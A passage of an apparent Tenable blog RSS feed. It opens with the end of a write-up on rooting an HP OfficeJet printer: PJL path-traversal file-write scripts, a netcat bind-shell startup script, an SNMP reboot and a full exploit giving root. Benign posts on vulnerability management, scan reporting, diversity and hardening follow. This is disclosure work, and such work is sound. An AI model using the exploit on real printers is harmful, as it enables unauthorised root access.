SIZE=648<br>root:x:0:0:root:/var/root:/bin/sh<br>daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br>bin:x:2:2:bin:/bin:/bin/sh<br>sys:x:3:3:sys:/dev:/bin/sh<br>sync:x:4:100:sync:/bin:/bin/sync<br>mail:x:8:8:mail:/var/spool/mail:/bin/sh<br>proxy:x:13:13:proxy:/bin:/bin/sh<br>www-data:x:33:33:www-data:/var/www:/bin/sh<br>backup:x:34:34:backup:/var/backups:/bin/sh<br>operator:x:37:37:Operator:/var:/bin/sh<br>haldaemon:x:68:68:hald:/:/bin/sh<br>dbus:x:81:81:dbus:/var/run/dbus:/bin/sh<br>ftp:x:83:83:ftp:/home/ftp:/bin/sh<br>nobody:x:99:99:nobody:/home:/bin/sh<br>sshd:x:103:99:Operator:/var:/bin/sh<br>default:x:1000:1000:Default non-root user:/home/default:/bin/sh<br> _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false</pre><p>Who cares about reading files though? I want to write them. FSDOWNLOAD requires sending the ESC character so instead of using Netcat I’ve written a Python script that tries to write to ../../tmp/writing_test:</p><pre>import socket<br>import sys<br><br>test = (&#39;test&#39;)<br><br>if len(sys.argv) != 3:<br>    print &#39;\nUsage:upload.py [ip] [port]\n&#39;<br>    sys.exit()<br><br>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>server_address = (sys.argv[1], int(sys.argv[2]))<br>print &#39;connecting to %s port %s&#39; % server_address<br>sock.connect(server_address)<br><br>dir_query = &#39;@PJL FSDOWNLOAD FORMAT:BINARY SIZE=&#39; + str(len(test)) + &#39; NAME=&quot;../../tmp/writing_test&quot;\r\n&#39;<br>dir_query += test<br>dir_query += &#39;\x1b%-12345X&#39;<br>sock.sendall(dir_query)<br>sock.close()</pre><p>Unfortunately, this script fails to write the file. It appears the process interpreting the PJL doesn’t have write access on the Linux filesystem:</p><pre>albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100<br>connecting to 192.168.1.158 port 9100<br>albinolobster@ubuntu:~$ nc 192.168.1.158 9100<br>@PJL FSQUERY NAME=&quot;../../tmp/writing_test&quot;<br>@PJL FSQUERY NAME=&quot;../../tmp/writing_test&quot;<br>FILEERROR=0</pre><p>This is a big blow to our attempt to gain remote code execution. Without access to the Linux filesystem, the odds of replacing a binary or getting a Bash script executed are greatly diminished. At this point, our only hope is that the 0:/ filesystem is writable and that a file written there can get executed in some way.</p><p>I’ll spare you the boring details of combing through the 0:/ filesystem, but I eventually noticed that there was some overlap with the Linux filesystem. In particular, 0:/../../rw/var/etc/profile.d/ caught my eye because, traditionally, the profile.d directory contains scripts that get executed at startup. Furthermore, the directories appeared to contain the same data:</p><pre>albinolobster@ubuntu:~$ nc 192.168.1.158 9100<br>@PJL FSDIRLIST NAME=&quot;0:/../../rw/var/etc/profile.d/&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;0:/../../rw/var/etc/profile.d/&quot; ENTRY=1<br>.sig/ TYPE=DIR<br><br>@PJL FSDIRLIST NAME=&quot;../../var/etc/profile.d/&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;../../var/etc/profile.d/&quot; ENTRY=1&lt;<br>.sig/ TYPE=DIR</pre><p>In order to test if I could write to profile.d via the 0:/ filesystem, I updated the FSDOWNLOAD Python script to write a file to 0:/../../rw/var/etc/profile.d/writing_test:</p><pre>import socket<br>import sys<br><br>test = (&#39;test&#39;)<br><br>if len(sys.argv) != 3:<br>    print &#39;\nUsage:upload.py [ip] [port]\n&#39;<br>    sys.exit()<br><br>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>server_address = (sys.argv[1], int(sys.argv[2]))<br>print &#39;connecting to %s port %s&#39; % server_address<br>sock.connect(server_address)<br><br>dir_query = &#39;@PJL FSDOWNLOAD FORMAT:BINARY SIZE=&#39; + str(len(test)) + &#39; NAME=&quot;0:/../../rw/var/etc/profile.d/writing_test&quot;\r\n<br>dir_query += test<br>dir_query += &#39;\x1b%-12345X&#39;<br>sock.sendall(dir_query)<br>sock.close()</pre><p>As you can see below, the Python script now works! The new file is also visible via traversal of the Linux filesystem:</p><pre>albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100<br>connecting to 192.168.1.158 port 9100<br>albinolobster@ubuntu:~$ nc 192.168.1.158 9100<br>@PJL FSDIRLIST NAME=&quot;../../var/etc/profile.d/&quot; ENTRY=1 COUNT=1024<br>@PJL FSDIRLIST NAME=&quot;../../var/etc/profile.d/&quot; ENTRY=1<br>.sig/ TYPE=DIR<br>writing_test TYPE=FILE SIZE=4</pre><p>You now have write access to a location that likely contains startup scripts. You are so close to remote code execution. Now you just need to write a script and figure out how to reboot the printer so the script will get executed.</p><p>The obvious choice for our startup script is one that will give us shell access. Since the printer has netcat installed, I chose to to create a script that creates a bind shell on port 1270:</p><pre>if [ ! -p /tmp/pwned ]; then<br>    mkfifo /tmp/pwned<br>    cat /tmp/pwned | /bin/sh 2&gt;&amp;1 | /usr/bin/nc -l 1270 &gt; /tmp/pwned &amp;<br>fi</pre><p>With that decided, our focus shifts to remotely rebooting the printer. One method would be using the <strong>Power Cycle</strong> function in the web interface (under the <strong>Tools</strong> menu). Another method is using the SNMP <a href="http://ift.tt/2rhbem8">printer</a> MIB to power cycle the device.</p><pre>albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4<br>iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4</pre><p>In the following script, I’ve combined writing the startup script to the profile.d directory and the SNMP reboot:</p><pre>##<br># Create a bind shell on an unpatched OfficeJet 8210<br># Write a script to profile.d and reboot the device. When it comes<br># back online then nc to port 1270.<br>#<br># easysnmp instructions:<br># sudo apt-get install libsnmp-dev<br># pip install easysnmp<br>##<br><br>import socket<br>import sys<br>from easysnmp import snmp_set<br><br>profile_d_script = (&#39;if [ ! -p /tmp/pwned ]; then\n&#39;<br>                    &#39;\tmkfifo /tmp/pwned\n&#39;<br>                    &#39;\tcat /tmp/pwned | /bin/sh 2&gt;&amp;1 | /usr/bin/nc -l 1270 &gt; /tmp/pwned &amp;\n<br>                    &#39;fi\n&#39;)<br><br>if len(sys.argv) != 3:<br>    print &#39;\nUsage:upload.py [ip] [port]\n&#39;<br>    sys.exit()<br><br>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>sock.settimeout(2)<br>server_address = (sys.argv[1], int(sys.argv[2]))<br>print &#39;connecting to %s port %s&#39; % server_address<br>sock.connect(server_address)<br><br>dir_query = &#39;@PJL FSDOWNLOAD FORMAT:BINARY SIZE=&#39; + str(len(profile_d_script)) + &#39; NAME=&quot;0:/../../rw/var/etc/profile.d/lol.sh&quot;\r\n&#39;<br>dir_query += profile_d_script<br>dir_query += &#39;\x1b%-12345X&#39;<br>sock.sendall(dir_query)<br>sock.close()<br><br>sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>sock1.connect(server_address)<br>dir_query = &#39;@PJL FSQUERY NAME=&quot;0:/../../rw/var/etc/profile.d/lol.sh&quot;\r\n&#39;<br>sock1.sendall(dir_query)<br><br>response = &#39;&#39;<br>while True:<br>    data = sock1.recv(1)<br>    if &#39;\n&#39; == data: break<br>    response += data<br><br>print response<br>snmp_set(&#39;.1.3.6.1.2.1.43.5.1.1.3.1&#39;, 4, &#39;integer&#39;, hostname=&#39;192.168.1.158&#39;, community=&#39;public&#39;, version=1)<br>print &#39;Done! Try port 1270 in ~30 seconds&#39;</pre><p>You can run the script and, about thirty seconds later, have a root shell via port 1270.</p><pre>albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100<br>connecting to 192.168.1.158 port 9100<br>@PJL FSQUERY NAME=&quot;0:/../../rw/var/etc/profile.d/lol.sh&quot; TYPE=FILE SIZE=119<br>Done! Try port 1270 in ~30 seconds<br>albinolobster@ubuntu:~$ nc 192.168.1.158 1270<br>whoami<br>root</pre><h4><strong>Tenable solutions</strong></h4><p>Fortunately for everyone, this little vulnerability is quite easy to detect once you understand the attack vector. Tenable released Nessus plugin <a href="http://ift.tt/2sAlauS">100461</a> in late May to detect this vulnerability. Also, changes were made so that Nessus no longer causes port 9100 to print during service discovery. Hopefully, that will encourage more customers to enable printer scanning.</p><p>To summarize, don’t overlook printers in your threat model. A printer is a computer and it should be treated like one. Scan it. Update it. Monitor it. Who knows what might lurk within?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*jY6wVYqdjcxcW1vi." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2rh6xJ8"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4569ad384712" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution-4569ad384712">Rooting A Printer: From Security Bulletin to Remote Code Execution</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Master Your Security Foundation: CIS Vulnerability Management Controls]]></title>
            <link>https://medium.com/tenable-blog/master-your-security-foundation-cis-vulnerability-management-controls-2e6c2c97fbc0?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/2e6c2c97fbc0</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Tue, 13 Jun 2017 12:17:20 GMT</pubDate>
            <atom:updated>2017-06-13T12:17:20.343Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y6_gmTkQ7lPUZ-hh." /></figure><p>Most of us are likely very familiar with vulnerability management. Unfortunately, familiarity with vulnerability management doesn’t necessarily equate to mastery. According to a <a href="http://ift.tt/2pVGaHv">survey</a> sponsored by Tenable and the Center for Internet Security (CIS) in late 2016, about half of the surveyed organizations need to significantly improve their vulnerability management practice. The following data tell the story:</p><ul><li>Only 56% use automated tools to perform any type of vulnerability scanning.</li><li>Only 51% use automated tools to scan all network systems for vulnerabilities on at least a weekly basis.</li><li>Only 36% verify that important vulnerabilities with available patches were addressed within two weeks.</li></ul><p><strong>Note:</strong> The CIS Controls were formerly known as the Center for Internet Security Critical Security Controls (CSC).</p><p>The fourth of the five <a href="http://ift.tt/2pzI8R5">CIS Controls (CSC)</a>, <strong>Continuous Vulnerability Assessment and Remediation,</strong> is described as:</p><blockquote>continuously acquiring, assessing and taking action on new information in order to identify vulnerabilities, remediate and minimize the window of opportunity for hackers.</blockquote><p>CSC 4 includes eight sub-controls that will help you improve your vulnerability management program. Here is an overview of several sub-controls.</p><p><strong>Run automated vulnerability scans against all systems at least weekly and deliver a prioritized vulnerability list to system administrators (see CIS Control 4.1).</strong> As the above survey data shows, only about half of organizations scan all systems weekly. If yours is not yet scanning weekly, it may be relatively easy for your security team to begin scanning more frequently. However, if you don’t significantly pare down your list of vulnerabilities to those that are most important, you can easily bury your IT operations colleagues and deter them from taking action on your vulnerability reports. As an example, you can pare down your list by including only critical and high vulnerabilities that have an exploit available.</p><p><strong>Perform vulnerability scanning in authenticated mode or with agents (see CIS Control 4.3).</strong> External, non-authenticated scanning only provides a surface picture. You need to assess your systems from the inside out to identify OS and application/service vulnerabilities.</p><p><strong>Subscribe to vulnerability intelligence services (see CIS Control 4.4).</strong> First, you need to ensure that your vulnerability scanning tool is regularly updated with all relevant important vulnerabilities. Second, if one is available, you should join an industry-specific threat intelligence service to identify the threats that target organizations like yours. This intelligence should help you identify vulnerabilities that require prompt remediation.</p><p><strong>Deploy automated patch management tools (see CIS Control 4.5).</strong> Realistically, automation is the only way to remediate the majority of high-priority vulnerabilities. This certainly applies to servers and desktops running popular operating systems and popular applications. You may need to apply manual patches or implement compensating controls for some systems, but this should be the exception.</p><p><strong>Verify that vulnerabilities were addressed (see CIS Control 4.7).</strong> It is not enough to throw a prioritized vulnerability list over the wall to your operations colleagues. You need to work with them to measure the results using a closed-loop vulnerability management process. Jointly develop reasonable goals to establish some quick wins and measure progress over time as you continuously improve.</p><p><strong>Establish a process to risk-rate vulnerabilities (see CIS Control 4.8).</strong> This sub-control is an expansion of CSC 4.1, which includes basic prioritization. Here, the recommendation is to incorporate risk-based prioritization with the addition of knowledge about the assets you need to protect. Identify the assets with the lowest risk tolerance and remediate those first. You may also want to scan these assets more frequently.</p><p>Familiarity with vulnerability management doesn’t necessarily equate to mastery</p><h4>Tenable can help</h4><p>It should not be surprising that Tenable knows vulnerability management. However, you may not know that we have tailored a SecurityCenter Continuous View® dashboard and an Assurance Report Card® specifically for CIS Control 4. Both are templates that you can readily adapt to your specific requirements.</p><figure><img alt="CIS CSC: Vulnerability Management (CSC 4) dashboard" src="https://cdn-images-1.medium.com/max/1024/0*Cl0TRn79_FAgWXg0." /></figure><p>The CIS Vulnerability Management dashboard provides a clear picture of your vulnerability management status</p><p>The <strong>Track Mitigation Progress</strong> component in the upper left of the <strong>CIS CSC: Vulnerability Management (CSC 4)</strong> dashboard is especially useful. You can scope it to specific assets to track the mitigation status of the top exploitable hosts based on vulnerability criticality, exploitability and how long a patch has been available.</p><figure><img alt="Track Mitigation Progress component " src="https://cdn-images-1.medium.com/max/889/0*5glBSUn0x7IeTtEB." /></figure><p>You can use the <strong>CIS CSC Vulnerability Management</strong> Assurance Report Card during monthly meetings with IT operations staff to jointly manage a closed-loop vulnerability management process. As your program matures, you can increase the thresholds to drive additional improvement.</p><figure><img alt="CIS CSC Vulnerability Management Assurance Report Card" src="https://cdn-images-1.medium.com/max/970/0*9fbQD8Z6wsJtTDED." /></figure><p>The CIS CSC: Vulnerability Management ARC helps you communicate status to IT leadership</p><h4>Learn more</h4><p>During an upcoming <a href="http://ift.tt/2sjqUbO">Tenable webinar</a> on June 28, <a href="http://ift.tt/2pVvglc">Brian Ventura</a>, a SANS Community Instructor, will dive into the details of each of the sub-controls and show you how Tenable supports CIS Control 4. We will also reserve time for questions and answers.</p><p>Even if you can’t attend, please register so we can send you a link to the recorded webinar to watch at your convenience.</p><p>Watch for my final blog in this series on Foundational Cyber Hygiene controls; CIS Control 5 is all about controlled use of administrative privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*t6Ir9-t6peb_5GwX." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2tgLV4r"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e6c2c97fbc0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/master-your-security-foundation-cis-vulnerability-management-controls-2e6c2c97fbc0">Master Your Security Foundation: CIS Vulnerability Management Controls</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tracking Down Privilege Escalation Failures]]></title>
            <link>https://medium.com/tenable-blog/tracking-down-privilege-escalation-failures-1be6fd423d70?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/1be6fd423d70</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Wed, 07 Jun 2017 17:30:07 GMT</pubDate>
            <atom:updated>2017-06-07T17:30:06.917Z</atom:updated>
            <content:encoded><![CDATA[<p>Tenable.io Vulnerability Management Reports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lhBNvzlFMAOWYb3O." /></figure><p><a href="http://ift.tt/2pWzj0c">Credentialed scanning is a key aspect</a> of any vulnerability management program, but how can you be sure the scans are successful? Changes to infrastructure or specific hosts could result in the wrong credentials being used to elevate privileges during scans. If this happens, your scans could fail to gather the vulnerability data essential to effectively implementing your vulnerability management plan. The Tenable.io™ <strong>Elevated Privilege Failures</strong> report can give you detailed insight into the *nix hosts in your network that may not be getting scanned as thoroughly as believed.</p><h4>Privilege escalation in credentialed scans</h4><p>Configuring a non-root account on all scan targets is recommended when running credentialed scans</p><p>When SSH is used for credentialed scanning, you have the option of specifying an account to use for privilege elevation. This feature lets you use a non-root account for the scan to log in via SSH. The scan will then escalate privileges with the configured root account to gather data that is not available to non-root users. The method of separately logging in and elevating privileges keeps root credentials off the wire, thereby being more secure. Therefore, configuring a non-root account on all scan targets is recommended when running credentialed scans.</p><figure><img alt="Elevated Privilege Failures report: scan credentials" src="https://cdn-images-1.medium.com/max/1024/0*89dHi5XF_f2OzrZm." /></figure><h4>The Tenable.io solution</h4><p>Tenable.io can efficiently identify hosts where privilege escalation in credentialed scans has failed. The <strong>Elevated Privilege Failures</strong> report provides detailed information on these hosts.</p><figure><img alt="Elevated Privilege Failures report " src="https://cdn-images-1.medium.com/max/1024/0*hKMBMZYhtnasbDAb." /></figure><p>The Elevated Privilege Failures report provides you with comprehensive and detailed lists of the hosts on your network that may not be getting scanned thoroughly. This information is broken down by operating system and host. The <strong>Elevated privilege failure summary by Operating System</strong> pie chart shows privilege escalation failures by operating system and could indicate whether recent configuration changes may have caused the failures to start happening. For example, you will be better able to track the source of failures if the root account password has been changed for a specific operating system but not network-wide.</p><figure><img alt="Elevated Privilege Failures report pie chart" src="https://cdn-images-1.medium.com/max/1024/0*J4qKPrHwu2waA6WL." /></figure><p>The <strong>Systems with elevated privilege failures</strong> table lists which hosts’ failures have been detected based on the results of the <strong>Authenticated Check: OS Name and Installed Package Enumeration</strong> plugin (ID 12634). The table filters for plugin results that contain a phrase indicating that local privileges were not successfully elevated. This table also acts as an index for the next table, which provides more in-depth information about the hosts impacted.</p><figure><img alt="Elevated Privilege Failures report IP list" src="https://cdn-images-1.medium.com/max/1024/0*7p8tL1bpYD7yasgl." /></figure><p>The vulnerability details table lists results from plugin ID 12634, including the plugin output, for each host impacted. Details about the host, such as the IP and MAC addresses, are provided along with the plugin output that describes the attempt and failure to elevate the privileges of the scan account.</p><figure><img alt="Elevated Privilege Failures report IP detail" src="https://cdn-images-1.medium.com/max/1024/0*zXWBgohAN5_MTUli." /></figure><p>Regardless of your approach to credentialed vulnerability scanning with Tenable.io, ensuring proper credential configuration is the first step to gathering thorough scan results. Tenable.io provides information security professionals with the tools and resources needed to perform accurate and rigorous credentialed vulnerability scanning. The <strong>Elevated Privilege Failures</strong> report provides insight into potential failures impacting the accuracy of credentialed scanning. Armed with Tenable.io, you can be sure that your credentialed scans are able to gather all available data.</p><p>Ensuring proper credential configuration is the first step to gathering thorough scan results</p><h4>Try Tenable.io</h4><p>Tenable.io provides accurate information on how well your organization is addressing security risks and helps track improvements over time. Get a <a href="http://ift.tt/2kN0koS">free trial of Tenable.io Vulnerability Management</a> for 60 days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*cdxxqfgamHp7vxYn." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2sEaAQS"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1be6fd423d70" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/tracking-down-privilege-escalation-failures-1be6fd423d70">Tracking Down Privilege Escalation Failures</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Personal Perspective on Closing the Cyber Diversity Gap]]></title>
            <link>https://medium.com/tenable-blog/a-personal-perspective-on-closing-the-cyber-diversity-gap-5452405e2e46?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/5452405e2e46</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Wed, 07 Jun 2017 14:25:25 GMT</pubDate>
            <atom:updated>2017-06-07T14:25:25.444Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WHnTMmTy42ReTxvw." /></figure><p>I’ve been in IT for the last 16 years, nearly two of which have been in cybersecurity. I was recently given public platforms to discuss my views on diversity in the industry. The crazy part is how close I came to never actually having a career in tech.</p><p>The first opportunity came following my recognition as Minority Practitioner of the Year by the International Consortium of Minority Cybersecurity Professionals (ICMCP). And most recently, I joined over 100 women at the Executive Women’s Forum (EWF) Cybersecurity Women on Capitol Hill.</p><p>The day-long EWF event was a chance to meet dozens of women in both the private and public sector leading the way in cybersecurity. The night ended with a speech from Tenable CEO Amit Yoran, where he discussed his commitment to improving diversity through public and private sector partnership.</p><p>More than anything, these opportunities lit a fire under me and motivated me to learn more, stay active in the field and engage with other women in cybersecurity.</p><p>Women form only 11 percent of the global cybersecurity workforce</p><p>But taking a step back, I realize just how close I was to never stepping foot in the tech industry. Funny enough, my career in IT was coincidental. It all started while I was an executive assistant for an IT director. Although I didn’t actively pursue a position in IT, I was recognized for my tech savviness, and was given the opportunity to join the end-user support team.</p><p>Since then, I’ve gone from helpdesk support to customer support, to working on a full scale security team. Seven of my last years in IT have been at Tenable, where I’ve seen the company grow from a 100-person startup, to a global cybersecurity leader.</p><p>I’ve often wondered how different my career path and life would have been if I hadn’t been noticed by that manager. Would I have eventually found my way to tech? Or would I have been too timid to step outside of my comfort zone and pursue my dream?</p><p>A lack of early exposure to STEM programs, mentorship and inclusive company cultures have created hurdles for women</p><p>Unfortunately, my situation isn’t unique. A lack of early exposure to science, technology, engineering and math (STEM) programs, mentorship and inclusive company cultures have created hurdles for women to join the cybersecurity industry — hurdles that have resulted in women forming only 11 percent of the global cybersecurity workforce, according to a study done by EWF.</p><p>While increased awareness of this problem has helped to close the diversity gap, we need to do more to ensure women and minorities entering cybersecurity isn’t by chance.</p><h4>Early exposure</h4><p>Exposure to new ideas, thoughts and opportunities is what enables us to grow. That’s why access to and encouragement of STEM education is so important. Without early childhood exposure to math, science and technology, girls can quickly become hesitant and discouraged from exploring these fields.</p><p>Growing up, I was never exposed to technology in school. But unlike many years ago, advancements have brought computers and mobile devices to virtually every classroom — an opportunity we need to jump on. While there is currently strong momentum around STEM, we need to continue to bring well-funded programs to every school, and ensure that young girls and minorities are encouraged and motivated to pursue the field.</p><h4>Mentorship</h4><p>One of the key factors to a long and successful career in tech is strong mentorship. But women who enter the cybersecurity workforce are often left without mentors to help them navigate a male-dominated industry.</p><p>One of the key factors to a long and successful career in tech is strong mentorship</p><p>It’s no secret that women have long been overlooked by customers, colleagues and even managers, simply because of our gender. This is something most, if not all, women experience in IT and elsewhere. And it’s one more reason why promoting female leadership and mentorship is so important.</p><h4>Company culture</h4><p>You often spend more time at work than you do at home, which is why company culture is critical to success. I’ve been lucky enough to spend my work hours at Tenable, a company that is committed to its employees, ensuring that everyone’s voice is heard.</p><p>Although the industry has leaps and bounds to make when it comes to diversity, we can start by fostering an inclusive company culture where diversity of thought and approach is celebrated and embraced.</p><h4>The road ahead</h4><p>There’s no doubt that the industry has a long road ahead when it comes to closing the diversity gap. But I’m confident that we’re moving in the right direction. Change won’t happen overnight, but we need to stay focused on the areas that matter most: encouraging young girls to pursue STEM, mentoring the next generation of women in cybersecurity and developing inclusive work cultures that promote creativity and diversity.</p><p>Continued support and collaboration of industry and government leaders, such as those at the EWF Cybersecurity Women on Capitol Hill event, is critical to tackling this issue.</p><p>This blog originally appeared on <a href="http://ift.tt/2r5HCaH">LinkedIn</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*wLa6aSzahHMA81tP." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2r5USvL"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5452405e2e46" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/a-personal-perspective-on-closing-the-cyber-diversity-gap-5452405e2e46">A Personal Perspective on Closing the Cyber Diversity Gap</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Master Your Security Foundation: Harden Your Systems]]></title>
            <link>https://medium.com/tenable-blog/master-your-security-foundation-harden-your-systems-59f1c8b87bf4?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/59f1c8b87bf4</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Tue, 06 Jun 2017 18:23:25 GMT</pubDate>
            <atom:updated>2017-06-06T18:23:24.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sW8lS4JrBNYnI5hO." /></figure><p>According to a survey conducted by Tenable in late 2016, only 50% of our customers use our configuration auditing capabilities. That’s the bad news. The good news is that those who do use it really like it. But back to the bad news; Tenable and the Center for Internet Security sponsored a separate <a href="http://ift.tt/2pVGaHv">research</a> project that found that only 55% of organizations enforce secure configuration standards for laptops, workstations and servers. That leaves a lot of systems with potentially unnecessarily open ports and services, weak or default passwords, overly broad user rights and other configuration weaknesses.</p><p>If you’ve read my recent blog posts, you understand the importance of having only authorized <a href="http://ift.tt/2pVtvVb">devices </a>and <a href="http://ift.tt/2pv3Ant">software</a> on your network. The next step, according to the <a href="http://ift.tt/2pzI8R5">CIS Critical Security Controls</a>, is to securely configure (harden) the authorized hardware and software of your mobile devices, laptops, workstations and servers. The CIS is not alone in this recommendation — other security frameworks and compliance standards echo the importance of securely configuring your systems as well.</p><p><strong>Standard</strong></p><p><strong>“Securely Configure your Systems” Control Objective</strong></p><p>PCI DSS</p><p>2.2: Develop configuration standards for all system components.</p><p>NIST Cybersecurity Framework</p><p>PR.IP-1: Baseline configurations are created and maintained.</p><p>ISO/IEC 27002:2013</p><p>A.14.2.8: System security testing</p><p>A.18.2.3: Technical compliance review</p><p>NIST 800–53 rev 4</p><p>CM-2: Baseline configuration</p><p>CM-6 Configuration settings</p><p>CM-7 Least functionality</p><p>Even if you follow strict configuration management and provision secure “golden” images, you should still audit configurations frequently to identify the inevitable configuration drift that occurs as configurations are manually modified. Additionally, you should securely configure the entire stack, not just the operating system — especially for internet-facing servers. Don’t ignore virtualization, cloud infrastructure, container platforms, containers, web servers and database servers. Like the proverbial chain, security is only as strong as the weakest layer of the stack.</p><p>Configure the entire stack, not just the operating system</p><p>You can get started with configuration standards available from multiple sources. The CIS publishes more than three dozen<a href="http://ift.tt/2saX0UY"> Benchmarks</a>, DISA publishes a number of<a href="http://ift.tt/1Bx5JQF"> Security Technical Implementation Guides</a> (STIGs), and many vendors publish their own guidelines. You may need to tailor the standards to your organization’s specific requirements. The key is to get started!</p><h4>Tenable can help</h4><p>Tenable offers more than 300 configuration audit files that cover multiple versions of popular operating systems, cloud infrastructure, web servers, databases, Windows productivity apps and network devices. Additionally, <a href="http://ift.tt/1hI1MDq">SecurityCenter® 5 is fully certified</a> against Security Content Automation Protocol (SCAP) 1.2. SCAP, a methodology used to evaluate vulnerability management, measurement and policy compliance of security software solutions, is recommended by CIS to streamline reporting and integration. It is also meets NIST and FISMA reporting requirements.</p><p>SecurityCenter offers three reporting mechanisms to address a range of requirements. Each can be scoped for specific business systems to focus results:</p><ul><li><strong>Reports</strong> by asset type list setting-by-setting and system-by-system audit results and identify settings requiring remediation.</li><li><strong>Dashboards </strong>display compliance status, allowing users to drill into details as needed (see example below).</li><li><strong>Assurance Report Cards (ARCs)</strong> communicate a compliance status overview that can be communicated to business owners and non-technical stakeholders (see example below).</li></ul><figure><img alt="CIS Audit Summary dashboard" src="https://cdn-images-1.medium.com/max/1024/0*75uoLXyN8ptAJ8dm." /><figcaption>The CIS Audit Summary dashboard organizes CIS Benchmark results by asset type. You can easily add and delete asset types to match your environment.</figcaption></figure><figure><img alt="CIS CSC: Secure Configuration (CSC 3,11) ARC" src="https://cdn-images-1.medium.com/max/979/0*y5UhRcFTk200ijnC." /><figcaption>The CIS CSC: Secure Configuration Assurance Report Card evaluates policy compliance and presents pass/fail results for policy test.</figcaption></figure><h4>Learn more</h4><p>The CIS Critical Security Controls include seven sub-controls that support Secure Configurations for Hardware and Software. A detailed discussion of these sub-controls is beyond the scope of this blog — but we can help you learn more. Tenable is hosting a <a href="http://ift.tt/2rISbSM">webinar on June 21st</a> when we will dive into the control details, show you how Tenable can help and answer your questions. This webinar is the third of a five-part series that will explore each of the CIS Foundational Cyber Hygiene controls. <a href="http://ift.tt/2pVvglc">Brian Ventura</a>, a SANS community instructor, will be our expert guest presenter. Brian teaches a 2-day course, <em>Critical Security Controls: Planning, Implementing and Auditing</em>. He has also taught a 5-day course,<em> Implementing and Auditing the Critical Security Controls — in Depth</em>. In addition to presenting valuable content, we will reserve time for questions and answers.</p><p>Look for future blogs where I will discuss the remaining Foundational Cyber Hygiene controls:</p><ul><li>Continuous vulnerability assessment and remediation</li><li>Controlled use of administrative privileges</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*2r-Y-cGj5yDtAapL." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2qYQPpV"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59f1c8b87bf4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/master-your-security-foundation-harden-your-systems-59f1c8b87bf4">Master Your Security Foundation: Harden Your Systems</a> was originally published in <a 